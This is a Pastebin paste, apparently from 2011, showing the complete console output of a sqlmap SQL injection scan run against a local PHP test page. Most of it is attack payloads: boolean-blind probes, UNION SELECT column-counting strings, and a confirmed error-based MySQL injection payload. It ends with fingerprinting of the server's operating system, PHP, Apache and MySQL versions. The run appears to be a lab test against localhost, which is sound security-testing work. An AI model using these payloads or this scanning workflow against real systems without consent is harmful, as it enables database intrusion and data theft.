daily pastebin goal
23%
SHARE
TWEET

Untitled

a guest Oct 24th, 2011 1,476 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/test.php" --data "post=ValidValue" -v 3
  2.  
  3.     sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover tool
  4.     http://sqlmap.sourceforge.net
  5.  
  6. [!] Legal Disclaimer: usage of sqlmap for attacking web servers without prior mutual consent can be considered as an illegal activity. it is the final user's responsibility to obey all applicable local, state and federal laws. authors assume no liability and are not responsible for any misuse or damage caused by this program.
  7.  
  8. [*] starting at: 18:57:50
  9.  
  10. [18:57:50] [DEBUG] cleaning up configuration parameters
  11. [18:57:50] [DEBUG] setting the HTTP timeout
  12. [18:57:50] [DEBUG] setting the HTTP method to POST
  13. [18:57:50] [DEBUG] creating HTTP requests opener object
  14. [18:57:50] [INFO] using '/pentest/database/sqlmap/output/localhost/session' as session file
  15. [18:57:50] [INFO] flushing session file
  16. [18:57:50] [INFO] testing connection to the target url
  17. [18:57:50] [INFO] heuristics detected web page charset 'ascii'
  18. [18:57:50] [INFO] testing if the url is stable, wait a few seconds
  19. [18:57:51] [INFO] url is stable
  20. [18:57:51] [INFO] testing if POST parameter 'post' is dynamic
  21. [18:57:51] [PAYLOAD] 2568
  22. [18:57:51] [WARNING] POST parameter 'post' appears to be not dynamic
  23. [18:57:51] [PAYLOAD] ValidValue(""''")"))
  24. [18:57:51] [WARNING] heuristic test shows that POST parameter 'post' might not be injectable
  25. [18:57:51] [INFO] testing sql injection on POST parameter 'post'
  26. [18:57:51] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
  27. [18:57:51] [PAYLOAD] ValidValue) AND 5020=4925 AND (6861=6861
  28. [18:57:51] [PAYLOAD] ValidValue) AND 9321=9321 AND (4890=4890
  29. [18:57:51] [PAYLOAD] ValidValue) AND 4581=8351 AND (603=603
  30. [18:57:51] [PAYLOAD] ValidValue AND 941=818
  31. [18:57:51] [PAYLOAD] ValidValue AND 9321=9321
  32. [18:57:51] [PAYLOAD] ValidValue AND 4211=6966
  33. [18:57:51] [PAYLOAD] ValidValue') AND 2463=5738 AND ('TqNu'='TqNu
  34. [18:57:51] [PAYLOAD] ValidValue') AND 9321=9321 AND ('hhWf'='hhWf
  35. [18:57:51] [PAYLOAD] ValidValue' AND 9360=3522 AND 'Eoek'='Eoek
  36. [18:57:51] [PAYLOAD] ValidValue' AND 9321=9321 AND 'DWWY'='DWWY
  37. [18:57:51] [PAYLOAD] ValidValue' AND 9124=7295 AND 'YwMD'='YwMD
  38. [18:57:52] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
  39. [18:57:52] [PAYLOAD] ValidValue' UNION ALL SELECT NULL# AND 'gyUu'='gyUu
  40. [18:57:52] [PAYLOAD] ValidValue' UNION ALL SELECT NULL, NULL# AND 'wZRI'='wZRI
  41. [18:57:52] [PAYLOAD] ValidValue' UNION ALL SELECT NULL, NULL, NULL# AND 'iTmP'='iTmP
  42. [18:57:52] [PAYLOAD] ValidValue' UNION ALL SELECT NULL, NULL, NULL, NULL# AND 'eYoS'='eYoS
  43. [18:57:52] [PAYLOAD] ValidValue' UNION ALL SELECT NULL, NULL, NULL, NULL, NULL# AND 'WrkX'='WrkX
  44. [18:57:52] [PAYLOAD] ValidValue' UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL# AND 'gPRj'='gPRj
  45. [18:57:52] [PAYLOAD] ValidValue' UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL# AND 'iMRL'='iMRL
  46. [18:57:52] [PAYLOAD] ValidValue' UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL# AND 'UwSd'='UwSd
  47. [18:57:52] [PAYLOAD] ValidValue' UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL# AND 'MqkX'='MqkX
  48. [18:57:52] [PAYLOAD] ValidValue' UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL# AND 'adVH'='adVH
  49. [18:57:52] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
  50. [18:57:52] [PAYLOAD] ValidValue' UNION ALL SELECT NULL--  AND 'udKY'='udKY
  51. [18:57:52] [PAYLOAD] ValidValue' UNION ALL SELECT NULL, NULL--  AND 'vUtp'='vUtp
  52. [18:57:52] [PAYLOAD] ValidValue' UNION ALL SELECT NULL, NULL, NULL--  AND 'tPRS'='tPRS
  53. [18:57:52] [PAYLOAD] ValidValue' UNION ALL SELECT NULL, NULL, NULL, NULL--  AND 'EIPF'='EIPF
  54. [18:57:52] [PAYLOAD] ValidValue' UNION ALL SELECT NULL, NULL, NULL, NULL, NULL--  AND 'niei'='niei
  55. [18:57:52] [PAYLOAD] ValidValue' UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL--  AND 'QTPN'='QTPN
  56. [18:57:52] [PAYLOAD] ValidValue' UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL--  AND 'AXKH'='AXKH
  57. [18:57:52] [PAYLOAD] ValidValue' UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL--  AND 'YTOV'='YTOV
  58. [18:57:52] [PAYLOAD] ValidValue' UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL--  AND 'lldQ'='lldQ
  59. [18:57:52] [PAYLOAD] ValidValue' UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL--  AND 'HMey'='HMey
  60. POST parameter 'post' is vulnerable. Do you want to keep testing the others? [y/N] N
  61. sqlmap identified the following injection points with a total of 37 HTTP(s) requests:
  62. ---
  63. Place: POST
  64. Parameter: post
  65.     Type: error-based
  66.     Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  67.     Payload: post=ValidValue' AND (SELECT 8669 FROM(SELECT COUNT(*),CONCAT(CHAR(58,118,97,104,58),(SELECT (CASE WHEN (8669=8669) THEN 1 ELSE 0 END)),CHAR(58,108,107,104,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'KcYk'='KcYk
  68. ---
  69.  
  70. [18:57:54] [INFO] manual usage of POST payloads requires url encoding
  71. [18:57:54] [INFO] the back-end DBMS is MySQL
  72. web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
  73. web application technology: PHP 5.3.2, Apache 2.2.14
  74. back-end DBMS: MySQL 5.0
  75. [18:57:54] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/localhost'
  76.  
  77. [*] shutting down at: 18:57:54
  78.  
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top